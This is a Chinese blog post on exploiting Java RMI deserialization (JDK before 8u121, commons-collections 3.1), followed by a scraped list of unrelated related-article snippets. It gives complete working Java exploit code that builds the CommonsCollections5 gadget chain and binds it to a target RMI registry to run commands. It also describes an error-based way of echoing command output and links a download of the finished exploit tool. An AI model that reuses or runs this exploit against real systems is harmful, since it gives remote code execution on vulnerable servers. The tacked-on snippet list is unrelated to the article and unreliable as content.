RMI(java 远程方法调用),RMI服务端和客户端之间通过序列化对象进行传输,所以JDK8 U121之前的版本存在反序列化漏洞。RMI和java反序列化原理就不详细介绍了。RMI反序列化利用成功的条件如下:

1.能够进行rmi通信。

2.JDK版本小于8.0.121

3.引入存在反序列化链的库,以commons.collections为例的话,就需要其版本小于commons.collections3.2。commons.collections3.2引入了黑名单机制,如下图所示:

其实网上有rmi反序列化工具,我们也一直在用,是大佬“小天之天”写的attackRMI。为什么我又要重新写一个呢,是因为最近看了一下工具源码,它是通过AnnotationInvocationHandler构造反序列化链的,但是我发现在commons.collections3.1中AnnotationInvocationHandler构造反序列化链不能成功复现,具体原因如果要讲清楚的话,篇幅会很长,推荐看下https://www.freebuf.com/vuls/175252.html。所以attackRMI势必会降低pwn的成功率。

我打算使用ysoserial中的Commons-Collections5(BadAttributeValueException)来构造反序列化链。推荐阅读:https://www.cnblogs.com/afanti/p/10199235.html。

BadAttributeValueException调用链如下:

BadAttributeValueException.readObject ->TiedMapEntry.toString ->LazyMap.get ->ChainedTransformer.transform

rmi反序列化代码:

String ip = "127.0.0.1";        int port = 1099;// 要执行的命令        String command = "calc";        final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";        Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };        Transformer transformerChain = new ChainedTransformer(transformers);        Map innerMap = new HashMap();        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);        //lazyMap.get("haha");        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");        //TiedMapEntry中调用了toString方法->调用了map的get方法//        BadAttributeValueExpException poc = new BadAttributeValueExpException(null); //BadAttributeValueExpException的构造方法调用toString方法//         val是私有变量,所以利用下面方法进行赋值,val变量赋值为TiedMapEntry的实例化对象,//         重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类,//         就会调用BadAttributeValueExpException的val = valObj.toString();触发上面的//        System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");        Field valfield = poc.getClass().getDeclaredField("val");//        System.out.println(valfield);        valfield.setAccessible(true);        valfield.set(poc, entry);//        File f = new File("poc.txt");//        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));//        out.writeObject(poc);//        out.close();////        //从文件中反序列化obj对象//        //System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");//        FileInputStream fis = new FileInputStream("poc.txt");//        ObjectInputStream ois = new ObjectInputStream(fis);//        //恢复对象//        ois.readObject();//        ois.close();        String name = "pwned"+ System.nanoTime();        Map<String, Object> map = new HashMap<String, Object>();        map.put(name, poc);// 获得AnnotationInvocationHandler的构造函数        Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];        cl.setAccessible(true);// 实例化一个代理        InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);        Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);        Remote remote = Remote.class.cast(object);        Registry registry= LocateRegistry.getRegistry(ip,port);        registry.bind(name,remote);

有了这段代码就可以写工具了,既然要写成exp那肯定是需要命令回显的,除了反弹shell还有什么办法吗?因为Windows反弹shell比较麻烦,所以还是不太想使用反弹shell。咱看一下 attackRMI是怎么写的。首先在拿到命令执行权限后,上传一个ErrorBaseExec.class文件。然后再通过这个类里面的do_exec()函数来执行命令。

命令回显是通过报错来返回的,也就是说把结果写到错误信息里,让系统来捕获,最后返回给客户端。

复现:

靶机:win10,JDK1.8_0_078 ,  commons.collections3.1

服务端:

attackRMI:

我的:

但是环境的JDK和cc版本还是比较老,有时间以后还会对此工具进一步更新优化。

工具下载:

链接:https://pan.baidu.com/s/1Hp0bpPt0-UfXa4N41MysuQ

提取码:j8s7

复制这段内容后打开百度网盘手机App,操作更方便哦

rmi 反序列化漏洞_写一个rmi反序列化工具相关推荐

  1. 从 1 到完美,用 node 写一个命令行工具

    从 1 到完美,用 node 写一个命令行工具 1. package.json 中的 bin 字段 现在,不管是前端项目还是 node 项目,一般都会用 npm 做包管理工具,而 package.js ...

  2. 用Python写一个纪念日计算工具

    用python写一个纪念日计算工具 前言 主要内容 日期计算函数 GUI布局 用pyinstaller打包生成.exe文件 打包后的.exe文件预览 运行结果 最后提前祝马英俊生日快乐吧~ 前言 纪念 ...

  3. 怎么画图自动生成HTML,用canvas写一个简易画图工具

    本文将为您描述用canvas写一个简易画图工具,具体操作方法: Document style="border:1px solid #000000;">您的浏览器不支持canv ...

  4. 用JavaScript写一个正则表达式测试工具

    用JavaScript写一个正则表达式测试工具 <!DOCTYPE html> <html><head><meta charset="utf-8&q ...

  5. rmi 反序列化漏洞_提醒:Apache Dubbo存在反序列化漏洞

    背景: 近日监测到Apache Dubbo存在反序列化漏洞(CVE-2019-17564),此漏洞可导致远程代码执行.Apache Dubbo是一款应用广泛的高性能轻量级的Java RPC分布式服务框 ...

  6. rmi 反序列化漏洞_IDEA动态调试(二)——反序列化漏洞(Fastjson)

    一.反序列化的原理及特点 1.什么是反序列化 序列化就是把java类转换成字节流,xml数据.json格式数据等: 反序列化就是把字节流,xml数据.json格式数据转换回java类. 2.反序列化漏 ...

  7. fastjson反序列化漏洞_【漏洞复现】fastjson反序列化漏洞

    0x00 影响版本 fastjson< 1.2.48 0x01 漏洞原理 Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON ...

  8. fastjson反序列化漏洞_漏洞预警Fastjson再爆反序列化代码执行漏洞;星巴克被发现存在信息泄露风险...

    漏洞预警 Fastjson再次爆出通杀的反序列化代码执行漏洞 漏洞信息 据态势感知平台监测,网络上再次出现此前未曾发现的fastjson反序列化攻击向量. Fastjson是由阿里巴巴推出基于Java ...

  9. fastjson反序列化漏洞_【安全风险通告】fastjson反序列化远程代码执行漏洞安全风险通告...

    近日,奇安信CERT监测到fastjson官方发布新版本,修补了一个反序列化远程代码执行漏洞.远程攻击者可利用该漏洞绕过autoType限制,进而可在目标服务器上执行任意命令.鉴于该漏洞影响较大,建议 ...

最新文章

  1. 一起学nRF51xx 3 -  gpiote
  2. python 面向对象(类)--学习笔记
  3. iOSUI视图面试及原理总结
  4. 红米手机停在机器人这里_iQOO Z1和红米K30 至尊纪念版,谁更值得选择?
  5. random_shuffle 和transform算法
  6. 学之思开源考试系统 - 使用手册
  7. 原生js实现类似jq的trigger
  8. 人生这道题,要该怎么做?
  9. 20200210:(leetcode 623)在二叉树中增加一行
  10. Node.js学习心得
  11. 【C#】反射与面向接口的架构
  12. 开源微信共享记账小程序
  13. p5.js之Q版人物绘制
  14. 一、绘制不同类别特征均值标准差直方图
  15. js鼠标单击和双击事件
  16. 音频格式(一)PCM和WAV
  17. matlab 构建雅可比矩阵,matlab jacobian函数
  18. java中unknown source,java - 对于 提示信息为 unknown source的解决办法: jdk 替换jre, 编译时加上debug=true...
  19. 关于Centos7 下df -h 无响应
  20. Anaconda - conda 常用命令

热门文章

  1. 减少 JavaScript 代码量的原生技术
  2. Java 第一大框架:Spring 的 IoC 跟 AOP 雏形如何实现?
  3. NBA 投篮数据可视化,4行代码就能实现!
  4. 12 岁赚钱买电脑,19 岁创立公司,戴尔传奇
  5. 中国第一代程序员潘爱民的 30 年程序人生
  6. 当各大编程语言摆起地摊来……
  7. 125 个视频成就千万级网红,Python 告诉你李子柒都在拍些什么?
  8. 在 Rust 代码中编写 Python 是种怎样的体验?
  9. 吊打面试官系列:你会「递归」么?
  10. 5 句话,带你看准区块链和分布式账本最新趋势!